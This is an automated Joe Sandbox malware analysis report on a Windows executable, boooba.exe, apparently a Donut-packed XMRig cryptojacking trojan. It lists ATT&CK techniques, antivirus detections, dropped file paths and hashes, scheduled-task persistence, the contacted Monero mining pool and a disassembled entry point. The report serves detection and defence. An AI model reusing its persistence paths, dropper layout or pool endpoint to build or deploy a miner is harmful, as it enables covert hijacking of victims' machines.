Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	1 DLL Side-Loading	1 Scheduled Task/Job	511 Process Injection	Security Account Manager	111 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 Abuse Elevation Control Mechanism	1 Abuse Elevation Control Mechanism	NTDS	1 System Network Configuration Discovery	Distributed Component Object Model	Input Capture	1 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	1 DLL Side-Loading	1 DLL Side-Loading	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	13 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
boooba.exe	71%	ReversingLabs	Win64.Trojan.Donut
boooba.exe	100%	Avira	HEUR/AGEN.1344202
boooba.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Roaming\Microsoft\Libs\sihost64.exe	100%	Avira	HEUR/AGEN.1344832
C:\Users\user\IOAshdohSha.exe	100%	Avira	HEUR/AGEN.1344202
C:\Users\user\AppData\Roaming\Microsoft\Libs\sihost64.exe	100%	Joe Sandbox ML
C:\Users\user\IOAshdohSha.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\Microsoft\Libs\WR64.sys	5%	ReversingLabs
C:\Users\user\AppData\Roaming\Microsoft\Libs\sihost64.exe	74%	ReversingLabs	Win64.Trojan.Donut
C:\Users\user\IOAshdohSha.exe	71%	ReversingLabs	Win64.Trojan.Donut

Source	Detection	Scanner	Label	Link
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
xmr-eu1.nanopool.org	51.15.58.224	true	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://xmrig.com/benchmark/%s	conhost.exe, 00000009.00000003.1778364513.0000013CBC45D000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000009.00000003.1782171158.0000013CBC451000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000009.00000003.1780152081.0000013CBC45C000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000009.00000003.1780613340.0000013CBC456000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000009.00000003.1786769697.0000013CBC455000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000009.00000003.1771637621.0000013CBC45A000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000009.00000003.1777881414.0000013CBC454000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000009.00000003.1776373079.0000013CBC45E000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000009.00000003.1776847391.0000013CBC452000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000009.00000003.1782890833.0000013CBC45F000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000009.00000003.1770961178.0000013CBC453000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000009.00000003.1790022060.0000013CBC459000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 0000000B.00000003.1773661287.000001E32C45B000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 0000000B.00000003.1778062444.000001E32C45C000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 0000000B.00000003.1777548683.000001E32C456000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 0000000B.00000003.1787144711.000001E32C45F000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 0000000B.00000003.1779837512.000001E32C459000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 0000000B.00000003.1776176780.000001E32C457000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 0000000B.00000003.1785377801.000001E32C45A000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 0000000B.00000003.1775687094.000001E32C45D000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://xmrig.com/wizard	conhost.exe, 00000009.00000003.1778364513.0000013CBC45D000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000009.00000003.1782171158.0000013CBC451000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000009.00000003.1780152081.0000013CBC45C000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000009.00000003.1780613340.0000013CBC456000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000009.00000003.1786769697.0000013CBC455000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000009.00000003.1771637621.0000013CBC45A000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000009.00000003.1777881414.0000013CBC454000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000009.00000003.1776373079.0000013CBC45E000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000009.00000003.1776847391.0000013CBC452000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000009.00000003.1782890833.0000013CBC45F000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000009.00000003.1770961178.0000013CBC453000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000009.00000003.1790022060.0000013CBC459000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 0000000B.00000003.1773661287.000001E32C45B000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 0000000B.00000003.1778062444.000001E32C45C000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 0000000B.00000003.1777548683.000001E32C456000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 0000000B.00000003.1787144711.000001E32C45F000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 0000000B.00000003.1779837512.000001E32C459000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 0000000B.00000003.1776176780.000001E32C457000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 0000000B.00000003.1785377801.000001E32C45A000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 0000000B.00000003.1775687094.000001E32C45D000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	conhost.exe, 00000001.00000002.1725964191.000001575B3C1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://xmrig.com/wizard%s	conhost.exe, 00000009.00000003.1778364513.0000013CBC45D000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000009.00000003.1782171158.0000013CBC451000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000009.00000003.1780152081.0000013CBC45C000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000009.00000003.1780613340.0000013CBC456000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000009.00000003.1786769697.0000013CBC455000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000009.00000003.1771637621.0000013CBC45A000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000009.00000003.1777881414.0000013CBC454000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000009.00000003.1776373079.0000013CBC45E000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000009.00000003.1776847391.0000013CBC452000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000009.00000003.1782890833.0000013CBC45F000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000009.00000003.1770961178.0000013CBC453000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000009.00000003.1790022060.0000013CBC459000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 0000000B.00000003.1773661287.000001E32C45B000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 0000000B.00000003.1778062444.000001E32C45C000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 0000000B.00000003.1777548683.000001E32C456000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 0000000B.00000003.1787144711.000001E32C45F000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 0000000B.00000003.1779837512.000001E32C459000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 0000000B.00000003.1776176780.000001E32C457000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 0000000B.00000003.1785377801.000001E32C45A000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 0000000B.00000003.1775687094.000001E32C45D000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://xmrig.com/docs/algorithms	conhost.exe, 00000009.00000003.1778364513.0000013CBC45D000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000009.00000003.1782171158.0000013CBC451000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000009.00000003.1780152081.0000013CBC45C000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000009.00000003.1780613340.0000013CBC456000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000009.00000003.1786769697.0000013CBC455000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000009.00000003.1771637621.0000013CBC45A000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000009.00000003.1777881414.0000013CBC454000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000009.00000003.1776373079.0000013CBC45E000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000009.00000003.1776847391.0000013CBC452000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000009.00000003.1782890833.0000013CBC45F000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000009.00000003.1770961178.0000013CBC453000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000009.00000003.1790022060.0000013CBC459000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 0000000B.00000003.1773661287.000001E32C45B000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 0000000B.00000003.1778062444.000001E32C45C000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 0000000B.00000003.1777548683.000001E32C456000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 0000000B.00000003.1787144711.000001E32C45F000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 0000000B.00000003.1779837512.000001E32C459000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 0000000B.00000003.1776176780.000001E32C457000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 0000000B.00000003.1785377801.000001E32C45A000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 0000000B.00000003.1775687094.000001E32C45D000.00000004.00000020.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
212.47.253.124	unknown	France		12876	OnlineSASFR	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1545299
Start date and time:	2024-10-30 11:41:06 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 55s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	boooba.exe
Detection:	MAL
Classification:	mal100.troj.evad.mine.winEXE@26/5@1/1
EGA Information:	Successful, ratio: 66.7%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target nslookup.exe, PID 5480 because there are no executed function
Execution Graph export aborted for target nslookup.exe, PID 6288 because there are no executed function
Not all processes where analyzed, report is missing behavior information
VT rate limit hit for: boooba.exe

Simulations

Behavior and APIs

Time	Type	Description
06:42:00	API Interceptor	7x Sleep call for process: conhost.exe modified
10:42:02	Task Scheduler	Run new task: IOAshdohSha path: C:\Users\user\IOAshdohSha.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
212.47.253.124	2JkHiPgkLE.exe	Get hash	malicious	Xmrig	Browse
	SecuriteInfo.com.Trojan.Siggen29.50366.26295.18671.exe	Get hash	malicious	Xmrig	Browse
	Gw2G72kSsY.exe	Get hash	malicious	Xmrig	Browse
	file.exe	Get hash	malicious	Xmrig	Browse
	ekBTbONX85.exe	Get hash	malicious	Xmrig	Browse
	RPHbzz3JqY.exe	Get hash	malicious	ScreenConnect Tool, PureLog Stealer, RedLine, Xmrig, zgRAT	Browse
	Loader.exe	Get hash	malicious	LummaC, Xmrig	Browse
	2mim34IfQZ.exe	Get hash	malicious	AsyncRAT, PureLog Stealer, Xmrig, zgRAT	Browse
	8EbwkHzF0i.exe	Get hash	malicious	Xmrig, zgRAT	Browse
	upw82ArDKW.exe	Get hash	malicious	Glupteba, RedLine, SmokeLoader, Xmrig	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
xmr-eu1.nanopool.org	2HUgVjrn3O.exe	Get hash	malicious	Xmrig	Browse	51.15.58.224
	SecuriteInfo.com.Trojan.Siggen29.54948.7115.19193.exe	Get hash	malicious	Xmrig	Browse	141.94.23.83
	Yf4yviDxwF.exe	Get hash	malicious	Xmrig	Browse	54.37.232.103
	file.exe	Get hash	malicious	Xmrig	Browse	54.37.137.114
	Q3Vq6yp33F.exe	Get hash	malicious	Xmrig	Browse	51.15.65.182
	2JkHiPgkLE.exe	Get hash	malicious	Xmrig	Browse	51.15.58.224
	file.exe	Get hash	malicious	Xmrig	Browse	51.89.23.91
	eqkh9g37Yb.exe	Get hash	malicious	Xmrig	Browse	146.59.154.106
	SecuriteInfo.com.Trojan.Siggen29.50366.26295.18671.exe	Get hash	malicious	Xmrig	Browse	51.15.65.182
	SecuriteInfo.com.Trojan.GenericKD.74258817.17122.7170.exe	Get hash	malicious	Vidar, Xmrig	Browse	54.37.232.103

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
OnlineSASFR	belks.sh4.elf	Get hash	malicious	Mirai	Browse	62.210.152.252
	Yf4yviDxwF.exe	Get hash	malicious	Xmrig	Browse	51.15.193.130
	file.exe	Get hash	malicious	Xmrig	Browse	163.172.154.142
	la.bot.powerpc.elf	Get hash	malicious	Unknown	Browse	51.159.148.50
	3HOhJoCrj5.elf	Get hash	malicious	Unknown	Browse	151.115.48.162
	yakuza.i686.elf	Get hash	malicious	Unknown	Browse	195.154.190.2
	1vocVfphyt.exe	Get hash	malicious	PureLog Stealer, RedLine	Browse	163.172.24.191
	mips.elf	Get hash	malicious	Mirai	Browse	62.210.152.255
	https://zupimages.net/up/24/42/ol13.jpg?d6mSMvU0ZvpGwffnuqPHYMR7NvlxIzVjDfTD4YJjdRSCOcc	Get hash	malicious	Unknown	Browse	51.158.28.82
	M3Llib2vh3.elf	Get hash	malicious	Mirai	Browse	62.210.152.202

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Roaming\Microsoft\Libs\WR64.sys	SecuriteInfo.com.Trojan.Siggen29.1091.20762.15518.exe	Get hash	malicious	Xmrig	Browse
	2HUgVjrn3O.exe	Get hash	malicious	Xmrig	Browse
	SecuriteInfo.com.Trojan.Siggen29.54948.7115.19193.exe	Get hash	malicious	Xmrig	Browse
	Yf4yviDxwF.exe	Get hash	malicious	Xmrig	Browse
	file.exe	Get hash	malicious	Xmrig	Browse
	SecuriteInfo.com.Trojan.Siggen29.47910.18846.10721.exe	Get hash	malicious	Xmrig	Browse
	prog.exe	Get hash	malicious	Xmrig	Browse
	T52Z708x2p.exe	Get hash	malicious	Phorpiex, Xmrig	Browse
	lJ4EzPSKMj.exe	Get hash	malicious	Phorpiex, Xmrig	Browse
	Us051y7j25.exe	Get hash	malicious	Phorpiex, Xmrig	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\conhost.exe.log

Download File

Process:	C:\Windows\System32\conhost.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	539
Entropy (8bit):	5.356620128167825
Encrypted:	false
SSDEEP:	12:Q3La/KDLI4MWuPXcp1WzAbDLI4MNepQZaDAWDLI4MWuCv:ML9E4KQMsXE4Np/E4Ks
MD5:	7155C0B26CEC4BA9E8198691F0343F69
SHA1:	0C2D3811CBDA0C349203F9AAAEEF47E6DB4C0FEF
SHA-256:	59691880D1C39E4698FA89EFDA67A8EA171A039B0F6FC332EBE911F7EE790E23
SHA-512:	62A480C5AD8A978E41D29B6C03666D30569A0A7A1F8D92DA201CE839FE4578782EAEF5EF4B675306668F5813B71F2467B52AE090BDCF5313C276631DBD6E9379
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Management, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Management\8af759007c012da690062882e06694f1\System.Management.ni.dll",0..2,"System.IO.Compression, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..

C:\Users\user\AppData\Roaming\Microsoft\Libs\WR64.sys

Download File

Process:	C:\Windows\System32\conhost.exe
File Type:	PE32+ executable (native) x86-64, for MS Windows
Category:	dropped
Size (bytes):	14544
Entropy (8bit):	6.2660301556221185
Encrypted:	false
SSDEEP:	192:nqjKhp+GQvzj3i+5T9oGYJh1wAoxhSF6OOoe068jSJUbueq1H2PIP0:qjKL+v/y+5TWGYOf2OJ06dUb+pQ
MD5:	0C0195C48B6B8582FA6F6373032118DA
SHA1:	D25340AE8E92A6D29F599FEF426A2BC1B5217299
SHA-256:	11BD2C9F9E2397C9A16E0990E4ED2CF0679498FE0FD418A3DFDAC60B5C160EE5
SHA-512:	AB28E99659F219FEC553155A0810DE90F0C5B07DC9B66BDA86D7686499FB0EC5FDDEB7CD7A3C5B77DCCB5E865F2715C2D81F4D40DF4431C92AC7860C7E01720D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 5%
Joe Sandbox View:	Filename: SecuriteInfo.com.Trojan.Siggen29.1091.20762.15518.exe, Detection: malicious, Browse Filename: 2HUgVjrn3O.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Trojan.Siggen29.54948.7115.19193.exe, Detection: malicious, Browse Filename: Yf4yviDxwF.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Trojan.Siggen29.47910.18846.10721.exe, Detection: malicious, Browse Filename: prog.exe, Detection: malicious, Browse Filename: T52Z708x2p.exe, Detection: malicious, Browse Filename: lJ4EzPSKMj.exe, Detection: malicious, Browse Filename: Us051y7j25.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......5:n.q[..q[..q[..q[..}[..V.{.t[..V.}.p[..V.m.r[..V.q.p[..V.\|.p[..V.x.p[..Richq[..................PE..d....&.H.........."..................P.......................................p..............................................................dP..<....`.......@..`...................p ............................................... ..p............................text............................... ..h.rdata..\|.... ......................@..H.data........0......................@....pdata..`....@......................@..HINIT...."....P...................... ....rsrc........`......................@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Libs\sihost64.exe

Download File

Process:	C:\Windows\System32\conhost.exe
File Type:	PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	31744
Entropy (8bit):	7.581390529189409
Encrypted:	false
SSDEEP:	384:IBTkWK8LeaODD7tHldY+vLkh5O89wv8x3MJyA5gs5ZSQiXW7m+ZdvB7Knwr+UP35:DqStDD7rk0gbihwSvBue+U/Hf
MD5:	6A7E9885A2D01DF564B46F8F27258853
SHA1:	2F57231A188226669FF74CF886A09572ED69025E
SHA-256:	6BA3E42C8FA7DABE994E2793F369BAC914EA2E4949174FC2A0EFE4CBFEBE8171
SHA-512:	84B4B84066A48DF6BD087679A75333C306C8F688679C508E171B14D5012711DE3A781CEA4D4C65DEBB694557DAFD66DBC359516451F700179D5C6806710CDF17
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 74%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d................./..........b......."........@.....................................h.......................................................0...<...................................................................................l................................text............................... ..`.rdata..n_...0...`..................@..@.bss.....................................pdata...............z..............@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\IOAshdohSha.exe

Download File

Process:	C:\Windows\System32\conhost.exe
File Type:	PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	2234368
Entropy (8bit):	7.999661300763701
Encrypted:	true
SSDEEP:	24576:XRVlL9DqdKIEs0D7Vx1YPgZqkwBKmXXJj52antf0RsLrGaaFssusSWcaurrYL0Yv:h/GJ66PgUKUZkgtzGGsrzcdorJKJS
MD5:	EF9E6A4BAB77A1E5ED51669EABEBA31D
SHA1:	43B67B32D2FD462F0CB9277ED974D63A5575FC8C
SHA-256:	AB41E347FEC54AF86EF8EDD98C695A7E856A93A30CD07A89D7669896B419B92B
SHA-512:	8D3605E486F0CCB01D3022D54C57E8C65622272F5B477035469E45D3289973407F0584142B261A3FACA797E03412D182C376C2A2BA6970181E059982223AFE99
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 71%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d................./...........!......"........@..............................P".....A.".....................................................0)".<............@".....................................................................l)"..............................text............................... ..`.rdata..n.!..0....!.................@..@.bss.........0"..........................pdata.......@".......".............@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\IOAshdohSha.exe:Zone.Identifier

Download File

Process:	C:\Windows\System32\conhost.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

Static File Info

General

File type:	PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
Entropy (8bit):	7.999661300763701
TrID:	Win64 Executable (generic) (12005/4) 74.80% Generic Win/DOS Executable (2004/3) 12.49% DOS Executable Generic (2002/1) 12.47% VXD Driver (31/22) 0.19% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.04%
File name:	boooba.exe
File size:	2'234'368 bytes
MD5:	ef9e6a4bab77a1e5ed51669eabeba31d
SHA1:	43b67b32d2fd462f0cb9277ed974d63a5575fc8c
SHA256:	ab41e347fec54af86ef8edd98c695a7e856a93a30cd07a89d7669896b419b92b
SHA512:	8d3605e486f0ccb01d3022d54c57e8c65622272f5b477035469e45d3289973407f0584142b261a3faca797e03412d182c376c2a2ba6970181e059982223afe99
SSDEEP:	24576:XRVlL9DqdKIEs0D7Vx1YPgZqkwBKmXXJj52antf0RsLrGaaFssusSWcaurrYL0Yv:h/GJ66PgUKUZkgtzGGsrzcdorJKJS
TLSH:	0DA53321FEBBB93FF56B817D9425415E20D1C9F4730630C7799E8A6E1B394A04BA0E36
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d................./...........!......"........@..............................P".....A."....................................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x4022fa
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, LARGE_ADDRESS_AWARE, DEBUG_STRIPPED
DLL Characteristics:
Time Stamp:	0x0 [Thu Jan 1 00:00:00 1970 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	02549ff92b49cce693542fc9afb10102

Entrypoint Preview

Instruction
push ebp
dec eax
mov ebp, esp
dec eax
sub esp, 00000040h
dec eax
mov eax, 00000004h
add byte ptr [eax], al
add byte ptr [eax], al
dec ecx
mov eax, eax
mov eax, 00000000h
dec ecx
mov ebx, eax
dec eax
lea eax, dword ptr [ebp-04h]
dec ecx
mov edx, eax
dec esp
mov ecx, edx
dec esp
mov edx, ebx
call 00007FC94455F5E1h
dec eax
lea eax, dword ptr [FFFFFF98h]
dec ecx
mov edx, eax
dec esp
mov ecx, edx
call 00007FC94455F5FFh
mov eax, 00000001h
dec ecx
mov edx, eax
dec esp
mov ecx, edx
call 00007FC94455F5F7h
mov eax, 00030000h
dec ecx
mov ebx, eax
mov eax, 00010000h
dec ecx
mov edx, eax
dec esp
mov ecx, edx
dec esp
mov edx, ebx
call 00007FC94455F5E4h
dec eax
mov eax, dword ptr [00220624h]
dec eax
mov ecx, dword ptr [00220625h]
dec eax
mov edx, dword ptr [00220626h]
dec eax
mov dword ptr [ebp-10h], eax
dec eax
lea eax, dword ptr [ebp-04h]
dec eax
mov dword ptr [esp+20h], eax
mov eax, dword ptr [00221C17h]
dec ecx
mov ecx, eax
dec ecx
mov eax, edx
dec ecx
mov ebx, ecx
dec eax
mov eax, dword ptr [ebp-10h]
dec ecx
mov edx, eax
dec esp
mov ecx, edx
dec esp
mov edx, ebx
call 00007FC94455F5A9h
dec eax
mov eax, dword ptr [002205E1h]
dec eax
mov ecx, dword ptr [002205E2h]
dec eax
mov edx, dword ptr [002205E3h]

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x222930	0x3c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x224000	0x90	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x22296c	0x90	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x14e0	0x1600	88ad8c1be7e0f7eea949d01b2fe82d44	False	0.32759232954545453	data	5.398132007868387	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x3000	0x21fb6e	0x21fc00	b89fdc0ff2350f4568e5bd4e254e9eba	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.bss	0x223000	0xfac	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0x224000	0x90	0x200	833d670d56c423f97067d7571a397b78	False	0.17578125	data	1.2087156271204966	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Imports

DLL	Import
msvcrt.dll	malloc, memset, _get_pgmptr, getenv, sprintf, __argc, __argv, _environ, _XcptFilter, __set_app_type, _controlfp, __getmainargs, exit
kernel32.dll	Sleep, CreateProcessA, SetUnhandledExceptionFilter

Network Behavior
